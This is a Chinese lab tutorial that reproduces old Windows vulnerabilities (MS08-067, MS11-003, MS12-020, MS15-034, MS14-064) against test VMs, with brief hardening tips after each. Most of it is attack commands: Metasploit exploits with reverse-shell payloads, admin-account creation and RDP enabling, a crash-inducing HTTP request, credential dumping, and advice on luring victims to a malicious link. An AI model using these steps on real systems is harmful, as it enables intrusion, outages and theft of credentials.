操作系统漏洞验证及加固

2022-03-16 20:17:23 浏览数 (1)

MS08-067

概念

  • 攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC (Remote Procedure Call远程过程调用)请求,造成可被利用实施远程代码执行。MS08-067漏洞的全称为"WindowsServer服务RPC请求缓冲区溢出漏洞" ,如果用户在受影响的系统上收到特制的RPC请求,则该漏洞可能允许远程履行代码。在Microsoft Windows 2000、Windows XP和Windows Server2003系统上,攻击者可能末经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击。
  • Ms08_ 067_ netapi是-款Metasploit中的溢出攻击载荷,NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathC anonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行,获得个相对高的权限。

网络环境:

渗透机:KALI 192.168.0.104

靶机:XP 192.168.0.105

复现步骤:

使用Nmap进行靶机漏洞扫描

代码语言:javascript复制
nmap -O -n -T4 -p445 --script smb-vuln-ms08-067 192.168.0.105

扫描得到XP系统信息,脚本检测到存在命令执行漏洞,漏洞编号相关信息。

漏洞利用,(service postgresql start启动msf数据库 )通过msfconsole命令启动matesploit漏洞渗透平台。通过search ms08_067模块进行利用。

代码语言:javascript复制

使用use命令选择exploit/windows/smb/ms08_067_netapi模块来进行利用。输入show options命令查看参数。

代码语言:javascript复制
use exploit/windows/smb/ms08_067_netapi  show options
  1. 使用命令check检测漏洞是否存在
  1. 使用set命令设置RHOST为靶机IP
  1. 使用exploit/run执行攻击

之前我们没有设置paylaod,,但是攻击成功之后 exit 退出查看。我们发现payload以及配好。如下图

输入shell进入靶机DOS系统进行权限提升。

  • netstat -an 查看端口开放情况
  • net user 用户名 密码 /ADD 创建账户
  • net localgroup administrators 用户名 /ADD 将新用户添加到administrator分组(提升到管理员权限)
  • REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 开启3389端口
  • rdesktop IP 输入账号密码登录靶机

windows server xxxx 命令行的方式如何创建用户和设置密码

代码语言:javascript复制
一、使用命令行的方式创建用户、设置密码
打开命令提示符
net user username password / add
例如:建立一个名为Cat00011cat、密码为Cat_00011_cat 的用户  
net user Cat00011cat Cat_00011_cat /add


二、使用命令行修改旧帐户的密码
net user username password
例如:将用户Cat00011cat的密码设置为Cat_00011_cat   
net user Cat00011cat Cat_00011_cat 


三、使用命令行的方式创建本地组
net localgroup groupname /add
例如:添加一个名为sales的组  
net localgroup sales /add

四、使用命令行的方式为本地组
net localgroup groupname username /add
例如:将用户名Cat00011cat加入到administrators组中   
net localgroup administrators Cat00011cat/ add


开启3389端口
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

提示

如果出现会话建立失败的情况,可能是操作系统版本没有匹配对,导致发送了错误的RCP包导致445端口dang掉了,。需要重启PC才能继续执行攻击了。

show targets 查看版本

set targets 版本序号 选择版本

比赛遇到445端口 挂掉了,可以要求重启靶机。

加固:

  1. microsoft下载对应系统版本的补丁进行安装。
  2. 在不需要使用445(共享文件夹/共享打印机)服务的时候关闭端口。
  3. 开启防火墙/安装杀软。

MS11_003

漏洞简介

ms11-003(windows7/XPIE溢出攻击) 是利用IE8中对css的解析存在一个问题,导致任何访问包含非法css的页面将导致IE8崩溃重启的漏洞。

漏洞概念

实验在metasploit下结合XSSF对Microsoft IE浏览器进行渗透 测试,"mshtml.dII" 事件处理悬挂指针漏洞(MS11-003)MSHTML.DLL是一个用于解析HTML语言的动态链接库,IE、Outlook、Outlook Express等应用程序都使用了该动态链接库。该漏洞产生的原因: Internet Explorer在事件处理的实现上存在远程代码执行漏洞,攻击者可利用此漏洞在受影响应用程序中运行任意代码,造成拒绝服务。在处理某些对象操作时,mshtml.dll"库中的悬挂指针漏洞可被远程利用。攻击者有可能利用特定的javascript远程拒绝服务攻击使用该动态链接库的应用程序。MSHTML.DLL使得javascript可以处理多个窗口对象。如果一个窗口对象接收数据之后被删除,然后重新初始化,MSHTML.DLL将出错, 根据出错现象可以判断出发生了缓冲区溢出。

网络环境

攻击机:kali Linux IP:192.168.0.105 靶 机:WinXP IP:192.168.0.106

复现步骤

首先关闭靶机防火墙,使用命令搜索ms11_003相关模块

代码语言:javascript复制
search ms11_003

并使用命令use选择辅助模块

代码语言:javascript复制
use exploit/windows/browser/ms11_003_ie_css_import

设置payload

代码语言:javascript复制
显示 payloads:show payloads
选择 windows/meterpreter/reverse_tcp这一条
设置:set payload windows/meterpreter/reverse_tcp

使用 查看配置情况并配置相关选项

代码语言:javascript复制
模糊处理true否启用JavaScript模糊处理
SRVHOST 0.0.0.0是要监听的本地主机。这必须是本地计算机上的地址或0.0.0.0
SRVPORT 8080是要监听的本地端口。
SSL false不协商传入连接的SSL
SSLCert没有指向自定义SSL证书的路径(默认值是随机生成的)
URIPATH no用于此攻击的URI(默认为random)
LHOST 回连地址
LPORT 回连端口
  1. 执行命令exploit / run 发起攻击

会生成一条url地址,我们配置ssrf、劫持等其它手段 让受害者触发url那么这个时候,叮~主机以上线。

  1. 使用命令session查看会话,session -i ID 即可进入靶机控制台。进行进一步渗透。

Tip:

SRVPORT设置80端口相对要好一点,隐蔽性相对高

这里要设置payload,自动检测有可能不准确。

加固

  1. 开启防火墙配置策略
  2. 升级IE浏览器
  3. 更多

ms12_020

概念

远程桌面连接使用Microsoft的远程桌面协议RemoteDesktopProtocol (简称RDP) 进行工作。与"终端服 务”相比,‘"远程桌面” 在功能、配置、安全等方面有了很大的改善。它是从TeInet发展而来的,好比是Telnet的图形化,属于C/S(客户/服务器)模式,所以在建立连接前也需要配置好连接的服务器端和客户端。这里的服务器端是指接受远程桌面连接的计算机方(被控端), 而客户端是指发起远程桌面连接的计算机一(主控端)。

MS12-020:BUGTRAQ ID: 52354 CVE ID: CVE-2012-0152远程桌面协议(RDP, RemoteDesktopProtocol)是一-个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称"远程电脑”)。Windows在处理某些RDP报文时Terminal Server存在错误,可被利用造成服务停止响应。危害可使远程主机立即蓝屏。

网络环境

靶机:192.168.0.108 winser2003

攻击机:192.168.0.104 kali

复现步骤

关闭防火墙,使用nmap脚本扫描系统相关漏洞。

代码语言:javascript复制
nmap --script=vuln 192.168.0.108

看到VULN字样说明存在漏洞,接下来利用。

使用search命令搜索相关辅助模块

代码语言:javascript复制
search ms12-020

使用use命令选择辅助模块

代码语言:javascript复制
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

使用 发起攻击

加固

  • 安装漏洞补丁
  • 修改远程默认3389端口

ms15_034

概念

在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 )。利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。攻击者只要发送恶意数据包直打安装IIS的服务器,可导致系统蓝屏崩溃。

这一漏洞影响的版本包括:

Microsoft Windows Server 2012 R2

Microsoft Windows Server 2012 R2(服务器核心安装)

Microsoft Windows Server 2012

Microsoft Windows Server 2012(服务器核心安装)

Microsoft Windows Server 2008 R2(用于基于 x64 的系统)Service Pack 1

Microsoft Windows Server 2008 R2(用于基于 Itanium 的系统)Service Pack 1

Microsoft Windows Server 2008 R2(用于基于 x64 的系统)Service Pack 1(服务器核心安装)

Microsoft Windows Server 2008 SP2

Microsoft Windows 8.1

Microsoft Windows 8

Microsoft Windows 7

网络环境

渗透机:Kali 192.168.74.110

靶机:Windows Server 2008 192.168.74.109

复现过程

使用curl发送以下数据包检测漏洞出现416则说明漏洞存在。404、200或其它的响应状态码则表示不存在。

代码语言:javascript复制
curl http://192.168.74.139 -H "Host: 192.168.74.139" -H "Range: bytes=0-18446744073709551615"

使用命令search搜索ms15_034辅助模块

代码语言:javascript复制
search ms15_034

use使用漏洞漏洞模块

代码语言:javascript复制
1  auxiliary/dos/http/ms15_034_ulonglongadd 
2  auxiliary/scanner/http/ms15_034_http_sys_memory_dump

使用show options并配置RHOSTS

代码语言:javascript复制
set RHOSTS 192.168.74.139 //网站域名或者IP

使用执行攻击

网站已经挂掉了

两个模块的效果是一样的

加固

ms14_064

描述概念

MS14-064为Windows OLE自动化阵列远程代码执行漏洞。当IE不作访问内存中的对象时,存在远程代码执行漏洞。OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,用户使用IE浏览器查看该网站时允许远程执行代码。

受影响的产品有: Windows Server 2003 Windows Server 2008 Windows Server 2008 R2 Windows Vista Windows XP Windows 7 Windows 8 Windows 8.1 Windows Server 2012 Windows Server 2012 R2 Windows RT Windows RT 8.1

网络环境

渗透机:KALI 192.168.0.105

靶机:Windows XP 192.168.0.111

复现过程

  1. 使用msfconsole启动美少妇,使用search搜索ms14_064相关漏洞利用攻击模块
  2. 使用第一个含有browser字样的攻击模块,show options 查看载荷配置。
  1. 配置
代码语言:javascript复制
show payloads  查看有效的攻击载荷
set payload windows/meterpreter/reverse_tcp 设置反弹连接shell
代码语言:javascript复制
set SRVHOST 192.168.0.105    //设置提供钓鱼网站服务的IP 这里填写渗透机IP
代码语言:javascript复制
set SRVPORT 80    //设置网站端口
代码语言:javascript复制
设置反弹shell主机的ip
set LHOST 192.168.0.105 //反弹到渗透机
代码语言:javascript复制
set ALlowPowershellPrompt true   开启浏览器插件
  1. exploit/run 发起攻击

将生成的URL(社会工程学)通过某些手段让受害者点击,,当他点击之后与渗透机的会话便建立了。

叮d=====( ̄▽ ̄*)b,您的主机已上线

漏洞利用完成 反弹shell

我们可以用hashdump或者load kiwi进行靶机密码获取。

这里演示了hashdump抓取hash值 利用ophcrack解密(load kiwi抓取的是内存/缓存里的明文密码,如果计算机更改了密码在不关机的情况下抓取到的还是登录的密码)

ms17_010

0 人点赞